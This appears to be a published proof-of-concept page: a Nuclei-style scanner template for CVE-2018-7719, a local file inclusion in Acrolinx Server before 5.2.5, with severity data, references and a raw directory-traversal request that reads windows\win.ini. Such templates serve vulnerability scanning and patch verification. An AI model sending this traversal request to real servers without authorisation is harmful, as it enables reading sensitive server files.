CVE-2018-7719: Acrolinx Server <5.2.5 - Local File Inclusion

2025-08-01 Acrolinx Server PoC Public

Description

Acrolinx Server prior to 5.2.5 suffers from a local file inclusion vulnerability.

PoC

id: CVE-2018-7719

info:
  name: Acrolinx Server <5.2.5 - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: |
    Acrolinx Server prior to 5.2.5 suffers from a local file inclusion vulnerability.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade Acrolinx Server to version 5.2.5 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/146911/Acrolinx-Server-Directory-Traversal.html
    - https://support.acrolinx.com/hc/en-us/articles/213987685-Acrolinx-Server-Version-5-1-including-subsequent-service-releases-
    - https://www.exploit-db.com/exploits/44345/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7719
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-7719
    cwe-id: CWE-22
    epss-score: 0.46874
    epss-percentile: 0.98767
    cpe: cpe:2.3:a:acrolinx:acrolinx_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: acrolinx
    product: acrolinx_server
  tags: cve2018,cve,acrolinx,lfi,packetstorm,edb,vuln

http:
  - raw:
      - |+
        GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a0047304502210099337ffb7e5fbaaff8d45ae798ecec9b1f86593556a7b0f90c3fed7792f2d6ae02200b5b3fc8f3e7996d7b3e6fb36fa4273915c9cae613974a33131985c100603ad9:922c64590222798bb761d5b6d8e72950

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